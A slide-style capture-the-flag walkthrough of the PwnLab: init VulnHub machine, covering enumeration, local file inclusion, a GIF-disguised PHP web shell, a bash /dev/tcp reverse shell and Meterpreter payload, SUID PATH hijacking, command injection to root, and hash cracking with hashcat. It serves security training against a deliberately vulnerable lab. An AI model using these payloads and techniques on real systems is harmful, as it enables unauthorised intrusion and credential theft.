/me: Andrea Cardaci

Application Security Specialist @ SecureFlag

- cardaci.xyz
  - Blog and vulnerability research
- github.com/cyrus-and
  - GTFOBins
  - gdb-dashboard
  - mysql-unsha1
  - fracker
  - ...

Walkthrough

PwnLab: init

https://www.vulnhub.com/entry/pwnlab-init,158

Initial enumeration

Find IP address:

```
$ dig +short pwnlab.lan
192.168.1.88
```

Alternatively `nmap -sc`, `netdiscover`, etc. or just use `pwnlab.lan`

Basic port scanning (use `-A` for more):

```
$ nmap 192.168.1.88
PORT     STATE SERVICE
80/tcp   open  http
111/tcp  open  rpcbind
3306/tcp open  mysql
```

Website

- Looks like a home made PHP solution

  ```
  http://192.168.1.88/index.php
  ```

- There is a login form
- Supposedly file upload is involved
- The page structure hints for a LFI (Local File Inclusion)...

  ```
  http://192.168.1.88/?page=login
  ```

Fuzz the web content

```
$ dirb http://192.168.1.88 -X .php,,

+ http://192.168.1.88/config.php (CODE:200|SIZE:0)
+ http://192.168.1.88/index.php (CODE:200|SIZE:332)
+ http://192.168.1.88/index.php (CODE:200|SIZE:332)
+ http://192.168.1.88/login.php (CODE:200|SIZE:250)
+ http://192.168.1.88/server-status (CODE:403|SIZE:300)
+ http://192.168.1.88/upload.php (CODE:200|SIZE:19)

==> DIRECTORY: http://192.168.1.88/images/
==> DIRECTORY: http://192.168.1.88/upload/
```

Nothing interesting in those *listable* directories...

Assess LFI

Hypothesis:

```
include($_GET['page'] . '.php');
```

Checks:

- `page=WHATEVER` nothing is shown
- `page=index` recursive loop: **hypothesis confirmed!**

We could reach any `.php` file on the system using path traversal:

```
http://192.168.1.88/?page=../../../path/to/file
```

LFI considerations

We can try to use PHP stream wrappers:

- `http://` is apparently forbidden...

  > That would have been proper RCE via Remote File Inclusion (RFI)!

- `php://` looks promising...

  > We could try to fetch Base64-encoded PHP files!

Exploit LFI

Use `php://` to read (**not** evaluate) `index.php` (`.php` is added by the script)

```
$ curl 'http://192.168.1.88/?page=php://filter/convert.base64-encode/resource=index'
<html>
...
PD9waHANCi8vTXVsdGls...
```

Repeat for all the other pages...

`index.php`

We were right!

```php
if (isset($_GET['page']))
{
    include($_GET['page'].".php");
}
```

This is RCE (Remote Code Execution) if we manage to upload something!

```php
if (isset($_COOKIE['lang']))
{
    include("lang/".$_COOKIE['lang']);
}
```

Exploit LFI (cookie)

We can also use it to read non-PHP files and evaluate PHP files with path traversal:

```
$ curl 'http://192.168.1.88/' -b 'lang=../../../../../etc/passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
```

`login.php`

`config.php` must contain the database credentials:

```
require("config.php");
$mysqli = new mysqli($server, $username, $password, $database);
```

No SQL injection is possible in the login (prepared statements):

```
$luser = $_POST['user'];
$lpass = base64_encode($_POST['pass']);

$stmt = $mysqli->prepare("SELECT * FROM users WHERE user=? AND pass=?");
$stmt->bind_param('ss', $luser, $lpass);
```

`config.php`

It does!

```
<?php
$server   = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>
```

We can now access the database:

```
$ mysql -u root '-pH4u%QJ_H99' -h 192.168.1.88
```

Fetch database content

One (useful) database:

```
MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| Users              |
+--------------------+
```

One table:

```
MySQL [Users]> show tables;
+-----------------+
| Tables_in_Users |
+-----------------+
| users           |
+-----------------+
```

Fetch database content

Credentials (Base64-encoded, see `login.php`):

```
MySQL [Users]> select * from users;
+------+------------------+
| user | pass             |
+------+------------------+
| kent | Sld6WHVCSkpOeQ== | JWzXuBJJNy
| mike | U0lmZHNURW42SQ== | SIfdsTEn6I
| kane | aVN2NVltMkdSbw== | iSv5Ym2GRo
+------+------------------+
```

We can now log in!

Try to access the file system

Nope, we need the `FILE` privilege:

```
MySQL [(none)]> show grants;
+-------------------------------------------------------------------+
| Grants for root@%                                                 |
+-------------------------------------------------------------------+
| GRANT USAGE ON *.* TO 'root'@'%' IDENTIFIED BY PASSWORD <secret> |
| GRANT SELECT ON `Users`.* TO 'root'@'%'                           |
+-------------------------------------------------------------------+
```

Otherwise:

```
MySQL [(none)]> select load_file("/etc/passwd");
MySQL [(none)]> select "test" into dumpfile '/var/www/html/test';
```

Note: `%` is a wildcard that matches all the hosts but `localhost`

`upload.php` (PHP code omitted)

A file is uploaded in `upload/` if:

1. the file extension is one of `jpg`, `jpeg`, `gif`, `png`
2. the user-provided MIME type contains `image` and `/`
3. the computed MIME type is the expected value for the above extensions

Idea: upload a PHP file disguised by image!

Craft the payload

- We can assume that only the *magic signature* is actually checked

  > Pick GIF `GIF87a`

- The MIME type is set by the browser according to the extension

  > Name the file `rce.gif`

- Any PHP web shell will do

  > Just pass a URL parameter to `passthru`

Generate the payload:

```
$ { echo 'GIF87a'; echo '<?php passthru($_GET["x"]); ?>'; } >rce.gif
```

Exploit RCE

Upload it and take note of the name:

```
http://192.168.1.88/upload/9fe7fea8e1c0956a9e77569208fa429e.gif
```

Remember that we can evaluate any file as PHP:

```
$ curl 'http://192.168.1.88/?x=id' -b 'lang=../upload/9fe7fea8e1c0956a9e77569208fa429e.gif'
GIF87a
uid=33(www-data) gid=33(www-data) groups=33(www-data)
<html>
...
```

Obtain a TTY shell with Bash

Generate the payload:

```
$ cat >rce.gif <<EOF
GIF87a
<?php passthru("bash -c 'exec bash -i &>/dev/tcp/YOUR_IP/4444 <&1'"); ?>
EOF
```

Receive it with `nc`:

```
setup="stty rows $LINES columns $COLUMNS; export TERM=xterm-256color; clear; exec bash"
shell="exec python -c \"import pty; pty.spawn(['bash', '-c', '$setup'])\""
stty -echo raw; { echo "$shell"; cat; } | nc -vlp 4444
```

Trigger with:

```
$ curl 'http://192.168.1.88' -b 'lang=../upload/9fe7fea8e1c0956a9e77569208fa429e.gif'
```

Extra: pop a Meterpreter shell

Generate the payload:

```
$ {
    echo 'GIF87a'
    msfvenom -p php/meterpreter/reverse_tcp LHOST=YOUR_IP
} >rce.gif
```

Receive it with `msfconsole`:

```
$ msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 0.0.0.0
msf5 exploit(multi/handler) > run
```

Trigger with:

```
$ curl 'http://192.168.1.88' -b 'lang=../upload/9fe7fea8e1c0956a9e77569208fa429e.gif'
```

Extra: the Meterpreter shell

Upload and download files:

```
meterpreter > upload LinEnum.sh
meterpreter > download /etc/passwd
```

Drop a TTY shell:

```
meterpreter > shell -t
```

Run exploits on the target and much more...

Escalate to *human* users

Use `su` with the previous credentials:

Username	Password	?
kent	JWzXuBJJNy	✓
mike	SIfdsTEn6I	✗
kane	iSv5Ym2GRo	✓

Some common enumeration

- Inspect user files:

```
$ find / -user $USER -o -group $USER 2>/dev/null
```

- Check group ownership:

```
$ id
```

- Check running processes:

```
$ ps aux
```

Some common enumeration

- Check cron jobs:

```
$ crontab -l
$ ls /etc/cron*
```

- Enumerate SUIDs:

```
$ find / -type f -perm /ug=s -ls 2>/dev/null
```

- Check `sudo` grants:

```
$ sudo -l
```

Some common enumeration

- List local services:

```
$ ss -lpn
```

- Seek writable configuration files:

```
$ find /etc/ -writable 2>/dev/null
```

- ...

Enumeration as `kane`

There is a SUID executable in the home:

```
kane@pwnlab:~$ ls -l ~/msgmike
-rwsr-sr-x 1 mike mike 5148 Mar 17  2016 /home/kane/msgmike
```

Decompile with Ghidra:

```c
void main(void)
{
    setreuid(0x3ea,0x3ea);
    setregid(0x3ea,0x3ea);
    system("cat /home/mike/msg.txt");
    return;
}
```

Exploit `msgmike`

- `system` is basically:

  ```
  /bin/sh -c COMMAND
  ```

- `setreuid` / `setregid` are needed to **not** drop privileges
- `cat` is a relative path

So we can override `PATH` and execute an arbitrary file:

```
kane@pwnlab:~$ echo 'bash' >cat
kane@pwnlab:~$ chmod +x cat
kane@pwnlab:~$ PATH="$PWD:$PATH" ./msgmike
mike@pwnlab:~$ id
uid=1002(mike) gid=1002(mike) groups=1002(mike),1003(kane)
```

Enumeration as `mike`

There is a SUID executable in the home:

```
mike@pwnlab:/home/mike$ ls -l msg2root
-rwsr-sr-x 1 root root 5364 Mar 17  2016 msg2root
```

Decompile with Ghidra:

```c
void main(void)
{
    char local_78 [100];
    char *local_14 [2];

    printf("Message for root: ");
    fgets(local_78,100,stdin);
    asprintf(local_14,"/bin/echo %s >> /root/messages.txt",local_78);
    system(local_14[0]);
    return;
}
```

Exploit `msg2root`

- Reads a message from standard input with `fgets`
- Builds the shell command with `printf` and runs it with `system`:

  ```
  /bin/echo %s >> /root/messages.txt
  ```

The message is placed inside the command, unescaped: **shell command injection**!

```
mike@pwnlab:/home/mike$ ./msg2root
Message for root: ;id #

uid=1002(mike) gid=1002(mike) euid=0(root) egid=0(root) groups=0(root),1003(kane)
```

Note: this time real IDs are unchanged...

Obtain a proper root shell

We cannot just run `bash` as it resets effective IDs back to real IDs:

> If the -p option is supplied at invocation, the startup behavior is the same, but the effective user id is not reset.

```
mike@pwnlab:/home/mike$ ./msg2root
Message for root: ;bash -p #

bash-4.3# id
uid=1002(mike) gid=1002(mike) euid=0(root) egid=0(root) groups=0(root),1003(kane)
```

Note: permissions are the same but `bash` didn't drop...

Enjoy some nice ASCII art

```
bash-4.3# /bin/cat /root/flag.txt
.-=~=-.                                                                 .-=~=-.
(__  _)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(__  _)
(_ ___)  _____                             _                            (_ ___)
(__  _) /  __ \                           | |                           (__  _)
( _ __) | /  \/ ___  _ __   __ _ _ __ __ _| |_ ___                      ( _ __)
(__  _) | |    / _ \| '_ \ / _` | '__/ _` | __/ __|                     (__  _)
(_ ___) | \__/\ (_) | | | | (_| | | | (_| | |_\__ \                     (_ ___)
(__  _)  \____/\___/|_| |_|\__, |_|  \__,_|\__|___/                     (__  _)
( _ __)                     __/ |                                       ( _ __)
(__  _)                    |___/                                        (__  _)
(__  _)                                                                 (__  _)
(_ ___) If  you are  reading this,  means  that you have  break 'init'  (_ ___)
( _ __) Pwnlab.  I hope  you enjoyed  and thanks  for  your time doing  ( _ __)
(__  _) this challenge.                                                 (__  _)
(_ ___)                                                                 (_ ___)
( _ __) Please send me  your  feedback or your  writeup,  I will  love  ( _ __)
(__  _) reading it                                                      (__  _)
(__  _)                                                                 (__  _)
(__  _)                                             For sniferl4bs.com  (__  _)
( _ __)                                claor@PwnLab.net - @Chronicoder  ( _ __)
(__  _)                                                                 (__  _)
(_ ___)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(_ ___)
`-._.-'                                                                 `-._.-'
```

Yet...

We are not *really* `root`, programs are still able to drop our permissions. For example:

```
bash-4.3# crontab -l
no crontab for mike
```

We can upgrade with GDB, Python, some custom program, etc.

```
bash-4.3# exec python -c 'import os;
os.setuid(0); os.setgid(0); os.setgroups([]);
os.execl("/bin/bash", "bash")'
```

Finally:

```
root@pwnlab:/home/mike# id
uid=0(root) gid=0(root) groups=0(root)
```

Extra: obtain and crack `/etc/shadow` hashes

We already have `kent` and `kane`:

```
$ cat hashes.1800
root:$6$aYZMZ3V0$qAYwiR7aanVmKSWyV5IbRffspdjFx4xhLrm8kbHhh1DG16Bdb0/ptImcDK2uT.6xc/FZotacYr0X4dB0SurjD/
john:$6$uCl.CX5S$tRfy/uCPpATIpz3fG/N51QvjKG46xbr08jpHYvTX5eQO9F/8DoMIAXojVdq/jBgqxN1V2g.pijgV.CzjOurEn.
mike:$6$M5sGQVYv$0Xjlw9v/AdxlrQEhdiYJxNMQGHQi6HLbwO9nW8wExgu9fgPu3xbUQ9relK0rcbOH4nJASrxyPfQhBuDjOxvk20
```

Use `hashcat`:

```
$ hashcat -m 1800 --user -O hashes.1800 /path/to/rockyou.txt
```

Extra: obtain and crack MySQL hashes

MySQL grants are different according to the connecting host. Now (even with `www-data`) we can:

```
mysql> select host, user, password from mysql.user;
+-----------+------------------+-------------------------------------------+
| host      | user             | password                                  |
+-----------+------------------+-------------------------------------------+
| localhost | root             | *098B637C4337B71D03D7D2A358779974CCA4DB3F |
| pwnlab    | root             | *098B637C4337B71D03D7D2A358779974CCA4DB3F |
| 127.0.0.1 | root             | *098B637C4337B71D03D7D2A358779974CCA4DB3F |
| ::1       | root             | *098B637C4337B71D03D7D2A358779974CCA4DB3F |
| localhost | debian-sys-maint | *724BF0EF7051A37124BA86C28D7C364782CC12D8 |
| %         | root             | *098B637C4337B71D03D7D2A358779974CCA4DB3F |
+-----------+------------------+-------------------------------------------+
```

Use `hashcat` (`debian-sys-maint` is defined in `/etc/mysql/debian.cnf`):

```
$ hashcat -m 300 --user -O hashes.300 /path/to/rockyou.txt
```

Extra: why the `http://` wrapper is disabled?

It has been explicitly forbidden in `/etc/php5/apache2/php.ini`:

```
;;;;;;;;;;;;;;;;;;
; Fopen wrappers ;
;;;;;;;;;;;;;;;;;;

; Whether to allow the treatment of URLs (like http:// or ftp://) as files.
; http://php.net/allow-url-fopen
allow_url_fopen = On

; Whether to allow include/require to open URLs (like http:// or ftp://) as files.
; http://php.net/allow-url-include
allow_url_include = Off
```

FIN